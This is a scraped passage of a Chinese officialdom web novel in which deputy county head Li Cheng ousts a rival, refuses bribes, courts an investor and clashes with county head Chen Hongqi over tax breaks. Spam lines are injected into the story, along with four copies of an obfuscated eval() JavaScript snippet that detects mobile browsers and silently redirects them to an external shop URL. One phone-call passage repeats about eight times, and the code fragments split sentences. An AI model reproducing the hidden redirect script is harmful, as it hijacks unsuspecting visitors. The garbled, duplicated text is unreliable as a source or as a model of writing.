听说看这本书的人都是很幸运的,分享后你的运气会更棒 嚣。 关于**会上的决定,他还没有收到任何消息。 陈红旗已经给他抛弃了,也懒得再搭理他这个麻烦。 在韩帅看来,他有陈红旗撑腰,李承想撤他的职位,绝无可能! “呵呵.韩帅,你是不是没听懂我的意思?” 李承点燃了一根香烟,看着满脸愤怒的韩帅,淡淡地说:“这是组织的决定,是**会议上投票的结果。 你已经被撤职了,县委组织部很快会找你,你不用急!” 听到这话,韩帅整个人都愣在了原地。 他没想到,自己真的被撤职了! “你说真的?”韩帅不可置信。 李承吸了一口烟,不再理会韩帅。 ‘咚咚咚’ 这时,会议室的门被敲响,管委会规划建设局的局长王旭走了进来,他歉意的跟李承解释:“李县长,我刚才去县里汇报工作,来晚了。” “嗯,坐吧。”李承点头。 “既然王旭同志回来了,我提前宣布件事,经组织决定,由王旭同志担任管委会副主任,接替韩帅的工作!并兼任规划建设的局长一职。 大家掌声祝贺。” 李承率先鼓起掌,给王旭祝贺。 在李承的带动下,在座的所有人也跟着鼓起掌来。 唯独韩帅是个例外。 他站在原地,看着面前发生的一切,只觉得眼前一黑,脚步虚晃地跌坐在椅子上! 这件事对他来说,太意外,打击也太大了! 第311章 放鸽子 “这怎么可能怎么可能 韩帅双眼无神,嘴里喃喃自语,他不愿相信这个事实。 最开始,他并没有打算跟李承作对。 是陈红旗唆使他这么做的。 他对旗胜建筑公司的偷工减料视而不见,也是授意于陈红旗。 可到头来,他却弄丢了自己管委会副主任的职位,他觉得委屈,也很不甘心. 明明陈红旗信誓旦旦地承诺过他,会将他保住,甚至等挤兑走了李承,会将管委会主任的职位给他。 可结果. 韩帅的落魄模样,被在座的众人收入眼中。 这群人心里也泛起了嘀咕。 他们清楚,韩帅的背后是陈红旗。 如今,韩帅被撤职,这代表着在管委会的斗争里,李承取得了优势。 县委**王革都没有斗过陈红旗,可李承却占据了上风,将韩帅撵出了管委会。 这让众人不禁对李承的背景,再次升起敬畏之心。 他们嘴上没有明说,心里却活跃了起来,盘算起接下来的**站位。 而在这群人中,有一个人格外兴奋。 那就是孙建。 在所有人都不看好李承时,他抢先一步向李承递上投名状,这也意味着,他大概率会成为未来李承的骨干力量。 下班后,朱师傅将李承送到了凤玺楼。 今晚,李承没有邀请其他人,他要单独跟陈红旗谈话。 点了五个菜,一个汤。 李承又到隔壁买了一瓶百元级的白酒。 陈红旗平日喝茅台,但在李承的宴会上,李承没那个待遇招待他。 他们喝酒,花的不是自己钱,可以随便挥霍。 李承不行。 别说茅台了,就是这一百出头的白酒,李承付款时都觉得心在滴血。 在包厢等了四十多分钟,李承并没有等来陈红旗的身影。 陈红旗爱迟到,爱摆官架子,李承清楚。 也没有催促,耐心地等待着。 ‘叮’ 临近七点,李承才给他发去一条询问信息。 又过了十分钟,陈红旗才回复他:【我晚上约了朋友,改天吧。】 看到这条消息,李承忍不住的轻哼了一声。 这算什么? 放鸽子,下马威吗? 【好的,那您先忙,我们改天。】 李承心里对他十分不爽,表面功夫还要做。 “服务员。李承 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 放下手机,喊道。 “您好。 服务员走进门,礼貌问好。 “还没走菜呢,可以退吗?我那个朋友不来了。李承尴尬地问。 李承点的这桌子菜,还要四五百块钱,他有些心疼。 “不好意思先生,菜品已经备好了,不能退了。服务员微笑摇头,婉拒道。 “嗯,好,那走菜吧。 很快,一道道菜被端上了桌。 他拿起筷子,一个人享用起来。 这个时间,大家已经吃过晚饭,他也不能再去邀请别人。 否则,饭可能请人吃了,到最后还落不下什么好。 拿起手机,李承拨通了许梦的视频电话,将手机靠在了酒盒上,当作支架。 “老公,你吃饭呢呀? 电话接通,许梦俊美的脸,出现在手机画面中。 看到许梦,李承的心情好转了很多。 “嗯,吃饭呢,你吃了吗?李承边吃边聊。 “刚吃过。 许梦温柔一笑,问:“你一个人吗? “对呀,你也不在,就我一个人呗。李承说。 “我看看你吃的什么?许梦好奇地说。 李承调转手机摄像头,给许梦照了一下桌子上的饭菜:“丰盛吧? “你一个人,点这么多?许梦诧异。 李承是一个很节省的人,很多时候都是用泡面糊弄,这让许梦心生怀疑。 自从发现了刘婷的暧昧信息,许梦就变得猜疑起来。 一点不正常行为,都会让她胡思乱想。 “今晚本来准备请陈红旗吃饭,结果被放了鸽子。李承无奈地解释:“我足足等了他一个多小时。 “他怎么这么过分! 许梦替李承打抱不平:“你当省长秘书那会儿,别说他一个小小县长,就是市长也不敢啊。 “唉物是人非了。李承叹了口气。 是呀。 如果李承 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17260109|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还是省长秘书,陈红旗一个县处级干部,给他十个胆子也不敢放李承的鸽子。 李承面临的这些**斗争和管委会难题,也是一句话就能摆平。 可好汉不提当年勇,职位变了,形势也就变了。 “对了老公,有一件事情,我想跟你说一下。许梦迟疑了两秒,开口说。 “怎么了? 李承盛了一碗汤,说。 “我被调回《东江问政》节目,继续主持了 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 。”许梦说。 “民心所向呗?” 李承吹了吹热气,将勺子送入口中。 许梦在《东江问政》有粉丝黏性,台里为了收视率和民愿,将她调回去,也正常。 “嗯对,民心所向。” 许梦沉吟了两秒,她眼神躲闪,点了点头,语气中带着敷衍。 李承跟许梦朝夕相处这么久,她的一个神情异常,李承都能察觉到。 李承觉得,许梦有所隐瞒。 这让李承不禁联想到了高新海的儿子,那个追求许梦的小胖子! 许梦没说,李承也就没多问。 隔着手机视频,很多话说不清楚,反而容易引发分歧。 既然相爱,那就要相信,他认为许梦是有分寸的人,应该被信任! “老公,这周六录制完节目,我有假,可以休到下周一,我去找你吧。”许梦淡淡一笑,说。 “好呀,我带你在我们这个穷地方好好转一转,哈哈哈。”李承调侃一句。 两个人聊了半个多小时,李承吃饱喝足后,两人才依依不舍地挂断视频。 李承一个人吃不了多少东西。 他叫来服务员,将所有的剩菜打包,这些东西放在冰箱里,够他吃两天了。 拿着菜和酒,李承散步回到宿舍。 风林县的城区很小,比一个镇子大不了多少,走路也不了太多时间。 “李县长。” “李县长。” 上了楼,在宿舍门口站了三个人,正满脸笑容地跟李承打招呼。 这三人,都是管委会的领导班子成员。 管委会派出所所长朱荣,分管社会事务的副主任金录,以及孙建。 第312章 好干部 “你们怎么来了?” 李承知道,这些人是下午会议上,见到韩帅被撤职,过来跟他示好的。 还是客气地问了一嘴。 “您一直都忙,工作时间也没机会跟您多接触,我们就想着到这里拜访您。” 金录提着两瓶茅台,笑呵呵地说。 他们三人,每个人都带着礼品,而且出手都很阔绰。 “进来说。” 李承拿出钥匙,打开了房门,将三人请进屋。 将剩菜放进冰箱里,李承走回到客厅。 三个人站在沙发旁边,在没得到李承许可前,也不敢落座。 “大家都是同志,不用这么拘谨,坐。” 李承率先坐下后,招了招手,示意他们坐下。 “都抽烟吧?” “抽,都抽。” “嗯。” 李承从口袋里拿出香烟,分给三人后,自己也点了一根,目光落在那些礼品上。 见李承目光所至,金录率先说:“李县长,听说您酒量不过,我给您拿了两瓶酒。” “李县长,看您平时也抽烟,我一个亲戚就是开烟酒超市的,这是他送给我的,这么好的烟,我抽白瞎了,跟您的身份才般配。”朱荣殷勤地笑着。 他给李承拿了四条烟,都是百元一盒的大重九。 孙建给李承带了两盒茶。 他没有多说什么,但想来,茶叶也便宜不了。 “你们的心意我领了,东西不能收。”李承摆手拒绝。 见李承不收,几人相视一眼,面露尴尬之色。 在他们看来,李承不收礼,可能是嫌弃他们的礼物档次不够。 毕竟,李承曾是省长的秘书,给他送礼的人,都是大老板,大领导,礼品一定比他们的贵重。 他们想的也没错。 李承在省政府工作近一年里,什么样的礼品都见过,送房子,送车,送金条,送现金的,比比皆是。 那些人出手最起码都得五位数起步。 如果李承是个贪官的话,就这大半年,**金额都得达到数千万。 至于茅台,毫不夸张地讲,给汽车当玻璃水都够用个几十年。 “李县长,这是我们的一些心意,咱们县城跟汉江那种大城市不一样,您.” “东西不能收,这跟地区没关系,是原则问题。” 李承听懂了对方的意思,知道对方误以为他嫌弃这些礼品不够档次,连忙开口打断。 “你们不用在上面费心思,在我这里,党纪是底线,我不会破,也希望你们要遵守。 不要步了韩帅同志的后尘,在这种原则性问题上,我不会留情面!” 李承认真叮嘱,继续说:“我和某些同志不一样,我不会任人唯亲,只要有能力,是踏踏实实地为风林县发展付出,就会得到重视。” 他知道,这三人是过来投诚的。 所以,李承更要提前把自己的底线和规矩讲清楚。 “李县长是一个好官,您能来,是我们风林百姓的福气。”金录顺口拍了一个马屁。 “要是风林县的领导,都有李县长您的境界,风林早就脱贫致富了,不会是今天这个状况。”朱荣也跟着附和。 “过去的发展,我们不做评价,产业园区是风林县唯一的机会了,希望大家能够共同努力。 风林县的机遇,也是我们的机遇。” 李承认真地说。 产业园区能够达到预期效果,带动风林县完成脱贫工作,不仅李承可以升迁,大部分核心成员,都能迎来一次仕途晋升。 “李县长,我们就跟着您的脚步,您说怎么干,我们就怎么干!”孙建向李承表达了明确的忠心。 李承满意的点了点头,目光看向其余二人。 “我们的想法跟孙**一样,听李县长您的安排。” “我也是。” 对此,李承很满意。 新官上任三把火,这第一把火,已经有了成效。 管委会内已经有动摇的声音,只要李承将接下来的几步棋走好,彻底拿下管委会的大权,很有希望。 ‘我的爱如潮水,爱如潮水将我向你推.’ 几人谈话时,李承的手机铃声响了起来。 李承拿起手机,这是一个陌生号码,归属地是苏原省,南陵市。 “喂,你好?”李承接通电话。 “您好,请问是李承,李县长吗?”电话那边传来一道年轻男人的声音。 “我是,您哪位?”李承问。 “我是原林装饰建材公司的CEO,我叫陆原,是**县长将您的电话给到了我。” 对方自我介绍道。 原林装饰建材公司是一家中大型的建筑材料公司,主营室内涂料制造,家具制作,生态板等等 之前,**跟李承提起过这家公司。 他们是风林县产业园区的意向企业,也曾来到过风林县考察,甚至做好了在风林县建厂的准备。 只 不过,因为陈红旗的搅合,临时加码,导致最后谈判崩盘。 “您好陆总,之前就听林县长提起过贵公司。”李承道。 “我们公司对在风林县建厂很有意向,只是,陈县长提出的条件过于苛刻了些。 今天下午,林县长又给我们打过电话,说可以按照之前承诺的政策执行。 我呢,就想给您打个电话确认一下。”陆原道。 像原林装饰这些大公司,他们的消息很灵通。 陆原知道,**正在接受组织调查,对**的话,他们半信半疑。 不过,他们也听说了,省里派下来了一个副县长,负责产业园区管委会。 这位副县长还曾担任过省长的秘书。 有省长秘书这个金字招牌作为背书,陆原对产业园区下次抱有了些希望。 所以,特意打电话给李承,询问具体情况。 “林县长向你们承诺的政策,可以落实,您有时间的话,明天可以来县里洽谈。” 李承认真地说。 “没问题,明天上午十点半,您有时间吗?”陆原问。 “有。” “那我明天十点半到。” “好,我等您。” 挂断电话,李承心中百般感慨。 **正在接受组织上的调查,虽以被停职,还在为园区的招商努力,像她这种的好干部,不多了。 不过,因为陈红旗的搅合,临时加码,导致最后谈判崩盘。 “您好陆总,之前就听林县长提起过贵公司。”李承道。 “我们公司对在风林县建厂很有意向,只是,陈县长提出的条件过于苛刻了些。 今天下午,林县长又给我们打过电话,说可以按照之前承诺的政策执行。 我呢,就想给您打个电话确认一下。”陆原道。 像原林装饰这些大公司,他们的消息很灵通。 陆原知道,**正在接受组织调查,对**的话,他们半信半疑。 不过,他们也听说了,省里派下来了一个副县长,负责产业园区管委会。 这位副县长还曾担任过省长的秘书。 有省长秘书这个金字招牌作为背书,陆原对产业园区下次抱有了些希望。 所以,特意打电话给李承,询问具体情况。 “林县长向你们承诺的政策,可以落实,您有时间的话,明天可以来县里洽谈。” 李承认真地说。 “没问题,明天上午十点半,您有时间吗?”陆原问。 “有。” “那我明天十点半到。” “好,我等您。” 挂断电话,李承心中百般感慨。 **正在接受组织上的调查,虽以被停职,还在为园区的招商努力,像她这种的好干部,不多了。 不过,因为陈红旗的搅合,临时加码,导致最后谈判崩盘。 “您好陆总,之前就听林县长提起过贵公司。”李承道。 “我们公司对在风林县建厂很有意向,只是,陈县长提出的条件过于苛刻了些。 今天下午,林县长又给我们打过电话,说可以按照之前承诺的政策执行。 我呢,就想给您打个电话确认一下。”陆原道。 像原林装饰这些大公司,他们的消息很灵通。 陆原知道,**正在接受组织调查,对**的话,他们半信半疑。 不过,他们也听说了,省里派下来了一个副县长,负责产业园区管委会。 这位副县长还曾担任过省长的秘书。 有省长秘书这个金字招牌作为背书,陆原对产业园区下次抱有了些希望。 所以,特意打电话给李承,询问具体情况。 “林县长向你们承诺的政策,可以落实,您有时间的话,明天可以来县里洽谈。” 李承认真地说。 “没问题,明天上午十点半,您有时间吗?”陆原问。 “有。” “那我明天十点半到。” “好,我等您。” 挂断电话,李承心中百般感慨。 **正在接受组织上的调查,虽以被停职,还在为园区的招商努力,像她这种的好干部,不多了。 不过,因为陈红旗的搅合,临时加码,导致最后谈判崩盘。 “您好陆总,之前就听林县长提起过贵公司。”李承道。 “我们公司对在风林县建厂很有意向,只是,陈县长提出的条件过于苛刻了些。 今天下午,林县长又给我们打过电话,说可以按照之前承诺的政策执行。 我呢,就想给您打个电话确认一下。”陆原道。 像原林装饰这些大公司,他们的消息很灵通。 陆原知道,**正在接受组织调查,对**的话,他们半信半疑。 不过,他们也听说了,省里派下来了一个副县长,负责产业园区管委会。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17260110|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>这位副县长还曾担任过省长的秘书。 有省长秘书这个金字招牌作为背书,陆原对产业园区下次抱有了些希望。 所以,特意打电话给李承,询问具体情况。 “林县长向你们承诺的政策,可以落实,您有时间的话,明天可以来县里洽谈。” 李承认真地说。 “没问题,明天上午十点半,您有时间吗?”陆原问。 “有。” “那我明天十点半到。” “好,我等您。” 挂断电话,李承心中百般感慨。 **正在接受组织上的调查,虽以被停职,还在为园区的招商努力,像她这种的好干部,不多了。 不过,因为陈红旗的搅合,临时加码,导致最后谈判崩盘。 “您好陆总,之前就听林县长提起过贵公司。”李承道。 “我们公司对在风林县建厂很有意向,只是,陈县长提出的条件过于苛刻了些。 今天下午,林县长又给我们打过电话,说可以按照之前承诺的政策执行。 我呢,就想给您打个电话确认一下。”陆原道。 像原林装饰这些大公司,他们的消息很灵通。 陆原知道,**正在接受组织调查,对**的话,他们半信半疑。 不过,他们也听说了,省里派下来了一个副县长,负责产业园区管委会。 这位副县长还曾担任过省长的秘书。 有省长秘书这个金字招牌作为背书,陆原对产业园区下次抱有了些希望。 所以,特意打电话给李承,询问具体情况。 “林县长向你们承诺的政策,可以落实,您有时间的话,明天可以来县里洽谈。” 李承认真地说。 “没问题,明天上午十点半,您有时间吗?”陆原问。 “有。” “那我明天十点半到。” “好,我等您。” 挂断电话,李承心中百般感慨。 **正在接受组织上的调查,虽以被停职,还在为园区的招商努力,像她这种的好干部,不多了。 不过,因为陈红旗的搅合,临时加码,导致最后谈判崩盘。 “您好陆总,之前就听林县长提起过贵公司。”李承道。 “我们公司对在风林县建厂很有意向,只是,陈县长提出的条件过于苛刻了些。 今天下午,林县长又给我们打过电话,说可以按照之前承诺的政策执行。 我呢,就想给您打个电话确认一下。”陆原道。 像原林装饰这些大公司,他们的消息很灵通。 陆原知道,**正在接受组织调查,对**的话,他们半信半疑。 不过,他们也听说了,省里派下来了一个副县长,负责产业园区管委会。 这位副县长还曾担任过省长的秘书。 有省长秘书这个金字招牌作为背书,陆原对产业园区下次抱有了些希望。 所以,特意打电话给李承,询问具体情况。 “林县长向你们承诺的政策,可以落实,您有时间的话,明天可以来县里洽谈。” 李承认真地说。 “没问题,明天上午十点半,您有时间吗?”陆原问。 “有。” “那我明天十点半到。” “好,我等您。” 挂断电话,李承心中百般感慨。 **正在接受组织上的调查,虽以被停职,还在为园区的招商努力,像她这种的好干部,不多了。 不过,因为陈红旗的搅合,临时加码,导致最后谈判崩盘。 “您好陆总,之前就听林县长提起过贵公司。”李承道。 “我们公司对在风林县建厂很有意向,只是,陈县长提出的条件过于苛刻了些。 今天下午,林县长又给我们打过电话,说可以按照之前承诺的政策执行。 我呢,就想给您打个电话确认一下。”陆原道。 像原林装饰这些大公司,他们的消息很灵通。 陆原知道,**正在接受组织调查,对**的话,他们半信半疑。 不过,他们也听说了,省里派下来了一个副县长,负责产业园区管委会。 这位副县长还曾担任过省长的秘书。 有省长秘书这个金字招牌作为背书,陆原对产业园区下次抱有了些希望。 所以,特意打电话给李承,询问具体情况。 “林县长向你们承诺的政策,可以落实,您有时间的话,明天可以来县里洽谈。” 李承认真地说。 “没问题,明天上午十点半,您有时间吗?”陆原问。 “有。” “那我明天十点半到。” “好,我等您。” 挂断电话,李承心中百般感慨。 **正在接受组织上的调查,虽以被停职,还在为园区的招商努力,像她这种的好干部,不多了。 第313章 原林装饰 次日早。 县委组织部人员抵达管委会进行**的宣布。 韩帅被撤职他的副主任位置由王旭接替。 十点二十原林装饰的CEO陆原提前十分钟到达风林县管委会。 ‘咚咚咚’ 李承坐在办公室里看着文件门外响起敲门声。 “进。” 在李承的许可下刘婷率先进门:“县长原林装饰的陆总来了。” 她汇报完陆原也走了进来。 “李县长您好。” 陆原西装笔挺很年轻二十六七岁的样子。 这个年纪能做到原林装饰这种大公司的CEO位置想来应该是位公子哥。 “你好陆总。” 李承走出办公桌跟陆原握了下手后做出请的手势:“请坐。” “早就听林县长提起过贵公司你们一直是县里的重点招商企业。”李承笑呵呵地说。 他目光扫了一眼身旁的刘婷发现对方还在傻站着心中倍感无语。 像她这种没眼力见的换到李承以前的秘书岗位半天都撑不过去就会被撤掉。 “小刘我第一个抽屉里有盒好茶你去沏一壶过来。”李承吩咐道。 “好的领导。” 刘婷连连点头快步走到办公桌前取出茶叶出了办公室。 “陆总会抽烟吗?” 李承拿出香烟准备递给陆原一支。 “不会。”陆原微笑摇头。 “嗯。” 对方不抽烟李承也将烟盒放下没有点燃。 这是最基本的尊重。 现在产业园区正处于招商阶段风林县的地理位置是他们的最佳选择 所以李承即便是代表着政府部门面对这些企业时也要放低姿态。 招商拉投资本就是一个扯下脸皮的活。 像陈红旗那种摆着官架子鼻孔朝天对待投资企业的干部是很难拉到企业的。 “陆总你们公司重点经营在哪个地区?”李承淡淡地问。 “我们是苏原的本土企业主要销售就是在苏原省内省内的品牌认可力还不错。 目前主营业务扩展到东江岭东省和西川省。 公司研发的新型乳胶漆艺术漆面向全国销售但竞争压力很大。” 陆原向李承介绍起公司情况。 “主要业务都是向 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 北发展怎么没考虑往南呢?”李承询问。 东江岭东西川三省都在苏原省的北方。 他们并没有以苏原作为中心圆点进行扩散式的布局这其中定有原因。 原林装饰如果落地风林产业园区那就是管委会管理下的企业 “南方市场一直都是几家装饰龙头企业在垄断公司也曾布局过效果并不好。” 陆原如实道。 在这个期间刘婷回到办公室给两个人沏茶。 沏好茶她在李承的眼神示意下也没有停留离开了办公室。 “喝茶。” 李承端起茶杯示意陆原后抿了一口。 “你们企业在未来规划和布局上有什么打算?”李承问。 “现在的家庭装修更注重环保健康装修是趋势公司一直在研发新型可见光触媒净化漆也已经有了突破性进展。 未来公司发展主要以环保健康为核心理念。” 这些都不算是公司机密环保趋势是主流品牌都在做的。 关键在于谁能拔得头筹或是另辟蹊径开拓出一条蓝海市场。 “可见光触媒净化漆这是什么漆?”李承对装饰方面涉及不深以虚心学习的方式询问道。 “这是一种在光学作用下可以吸收净化甲醛的工艺但我们公司还是晚了一步。 很多大品牌已经上市投产我们还在研发阶段唯一的优势就是技术叠代我们的工艺和效果和目前市面上的净化漆比起来更好。” 陆原解释道。 “嗯。” 李承点了点头他问得详细也是为了可以针对性的招商:“贵公司主要推进北方市场从地理位置上讲风林县要比南陵市更具优势。 而且从全省政策上讲东江省在轻工业的扶持上也比苏原省力度大。 像你们这种搞研发的每年都有专 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17264676|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 项扶持资金你们公司就很符合申请条件。” 招商和销售都有异曲同工之处那就是需要造梦。 “那些扶持政策我们公司目前不做考虑公司能否在风林建厂主要看当下的政策。” 陆原微微一笑很直白地讲:“我是带着诚意来的要求也很简单按照之前林县长的承诺。 免费提供土地十年收税减免三年比例是地方税减免七成企业不配合任何公益类投资。” 他所谓的公益类投资就是陈红旗的 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 无理要求。 之前这些企业跟县政府谈判终止,就是因为陈红旗将企业税收减免,从三年改到了一年。 比例从地方税的减免七成,改到了减免四成。 还强制要求企业承担修路费用,以及提供一百个就业岗位给本地人。 “没问题,这些政策都是省里给出的条件,省里派我过来,就是来落实执行的。 陆总,你不用有任何顾虑,林县长给你的条件,在我这里都能给你落实。” 李承认真地强调道。 陈红旗搅合一圈,很多企业对风林县政府都没有了信心。 李承就要以‘外来和尚’的身份,让这些企业重新燃起对政府的信任。 “嗯,如果没问题的话,李县长,我们双方就可以准备签约。”陆原说。 “你回去也让法务准备一下,等我的消息。”李承说。 虽然,他嘴上说可以顺利执行,但实际上,李承还需要跟县政府进行沟通。 陈红旗的那关,不好过。 对方作为县政府一把手,还必须要过他那关! “嗯,那我等您的消息。” 陆原站起身,再次跟李承握了下手,告辞。 李承起身相送,将他送出办公室后,对刘婷吩咐:“你去送一下陆总。” “好的县长。” 陆原走后,李承点燃了一根香烟。 他拿起办公桌上的座机,拨通了县政府办公室的电话,让对方预约一下陈红旗的时间。 第314章 辩论 下午两点。 李承到达陈红旗的办公室。 “陈县长我这次过来是跟您汇报一下工作。”李承坐在陈红旗的对面说明来意。 “说吧。” 陈红旗摆弄着手机头也不抬将对李承的无视写在了脸上。 ‘都是县处级的干部你装鸡毛!’李承在心中忍不住地骂了起来。 昨天陈红旗放他的鸽子已经让李承非常不爽。 李承没有开口静静地坐在那里盯着陈红旗玩手机。 “汇报什么工作?” 陈红旗见李承迟迟不开口这才抬起头。 “不急等你忙完的。”李承平静地说。 “你说你的没事。” 陈红旗这才放下手机但仍是一副漫不经心的样子从桌子上拿起烟盒点了一根。 “今天上午原林装饰的陆总来过管委会我们已经商议好了企业落地政策 对方不尊重自己李承也将‘您’这个尊称改成了‘你’。 “哦我提出的要求他们都答应了?”陈红旗吸了一口烟淡淡地问。 “你提出的条件是什么?”李承装出一副疑惑的样子反问道。 “税务减免由三年降到一年企业承担一定的园区建设费以及给县里提供一百个就业岗位。 这个你不知道吗?**没有跟你提起过?”陈红旗皱起眉头他当然知道李承是在装傻充愣。 “不知道我到达风林县时林县长已经被停职了呀。” 李承摇了摇头继续说:“我和原林装饰谈到的政策是按照省政府出台的政策进行的。” “不行这个约不能签!”陈红旗严厉地说。 “为什么?”李承皱眉问。 “省里不了解情况给出的政策过于宽松政府在产业园区的建设上投入了那么多的钱。 如果不让这些落地企业跟着出出血政府猴年马月才能回本?风林县何时才能实现脱贫致富? 那个政策根本就不利于风林县当下的情况!” 陈红旗弹了弹烟灰冠冕堂皇地继续说:“我跟你讲李县长你别看现在咱们园区仅有一家企业落地。 但只要苏原省的环保政策收紧这些企业会争先恐后的来咱们风林县。 咱们产业园区能容纳的企业就那么多狼多肉少到那时候就算我们不给任何优惠政策只谈条件他们也 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 会来。 李县长,你可千万不能求功心切! 从陈红旗的语气里,李承甚至听到了些讽刺的味道。 那句求功心切,更是对李承工作的否定。 李承目光紧紧盯着陈红旗。 他觉得,陈红旗对那些企业的严苛要求,似乎不止是为了自身利益考虑,还有为风林县发展的考虑。 只不过,他的考虑和决策,过于自负。 这份自负,会毁了整个产业园区的规划! “陈县长,能够吸纳南陵企业的,不止我们一个产业园区,苏南省已经为这些企业们找好了去路。 我们有强力竞争者,这一点,你知道吗?李承问。 “呵呵呵一看你就是没做足功课。 陈红旗轻蔑地笑了一声:“这样,你出趟差,去一趟苏原省,看看他们那个新产业园区的地址。 到时候你就会知道,你的担忧是多么的多余! 陈红旗之前为了搞面子工程,组织团队去苏原省视察过一次竞品项目。 南陵市在规划走向国际化大都市,在加上其特殊的地理条件,土地很紧张。 他们为这些企业提供的迁移地址,在一个镇子里。 这个镇子,无论是交通便利性,还是距离,都与风林县无法比。 这也是陈红旗敢漫天要价的原因。 看着陈红旗自信满满的样子,李承心中冷笑。 在他眼里,陈红旗是就是一个井底之蛙,是一个跳梁小丑! “陈县长,你该不会觉得,省里拿出这么大一笔资金投资风林县,没有做过分析吧? 李承用看傻子的目光,看着陈红旗。 他尽量忍住那股鄙夷的笑。 省里在投资风林县之前,做过非常全面的分析,进行过多次的推敲和验证,最终才决定投资风林县,给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17264677|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出了这种优惠政策。 这些政策,全部都是省委省政府内部多次开会决议的。 他们考虑的,远远比陈红旗一个县城干部要长远得多! 可陈红旗却觉得他的想法,比省委省政府的决策更实际,这不是滑稽吗? “呵呵. 陈红旗听出了李承言语中的嘲讽,他冷笑一声:“我提出的政策,也都是为了风林县的发展做考虑。 政府已经给了他们十年的免费土地,他们自己出钱分担修路有什么问题? 我们省下来的这些钱,可以用来建设风林县,推动风林县的发展,这不好吗? 我要 听说看这本书的人都是很幸运的,分享后你的运气会更棒 一百个就业岗位,不算为难他们吧?他们用谁工作不一样? 至于税收减免,七成太多了,收一千万的税,县政府才能留下来一百多万,这不开玩笑呢吗? 剩的那点钱,勉强够维持县里运转,哪有闲钱发展经济呀?” 陈红旗说得有道理,不过,是歪理。 就算没有企业落地缴税,风林县这么多年,照样在运转。 他不该把利益放在眼前,让企业为他承担现有支出,那就是不讲理。 确实。 每一千万的企业所得税,需要上交六成到国家。 剩下地方税,还要返给企业七成,但每一千万县政府还能剩下一百二十万,如果没有企业落地,这一百二十万也拿不到。 何况,这些税收减免只有三年。 三年后,风林县的税收将会迎来大提升,从未来发展看,这些激励企业落地的政策,很合理。 “税收减免就三年,陈县长,我们应该把目光放得长远,这也是省委省政府定的调子。” 李承强调省委省政府,以此作为压力。 “李县长,人是要变通的,我们能争取到更大的利益,省里也是希望看到的。 产业园区现在落地的那家企业,就是按照我的决策执行,这不人家也签约建厂了。 我们是政府部门,不能被民营企业牵着鼻子走,你说呢?” 第315章 权利交易? “我这个人死板,不懂得变通,我只知道,县政府是在省政府的领导下。 省政府如何决策,我就如何执行。 如果陈县长觉得你的政策更好,可以去联系省政府,让他们下发文件给我,我一定照办。” 李承见陈红旗一意孤行,也不打算继续跟他废话,直接搬出省政府来压他:“管委会已经跟原林装饰达成一致,也全部是按照省政府的优惠政策执行。” 原本,李承是以商量的口吻对他讲。 但陈红旗不知好歹,给脸不要脸,李承也就懒得废话,直接下达了通知。 闻言,陈红旗脸色铁青。 他最不愿意看到的事情,还是发生了。 **尚好拿捏,就算**态度强硬,他也有很多种方式,改变**的态度,甚至是搞掉**这个人。 李承不同。 李承背景雄厚,在规则之上,他很难以权威的方式,去硬碰硬。 “李县长,建设费和就业岗位可以取消,税收减免也可以是七成,但是三年不行,只能一年。 风林县的状况你也了解,总要给百姓们谋些福利吧。”陈红旗继续讨价还价。 他之所以要把税收减免的期限,压缩到一年,是他急于风林县的建设。 至于原因,跟他的任期和利益有关。 他要在任期届满之前,给风林的城市面貌做出改变。 这样,他既能拿到政绩,为晋升做铺垫。 还可以把建筑工程给到他的弟弟,在任期期间,再捞一笔。 而想要达到他的目的,就需要钱。 可现在风林县的财政很吃紧,根本没有那么多油水给他捞,这就需要企业缴税! “陈县长” 陈红旗话音刚落,李承便准备开口回复。 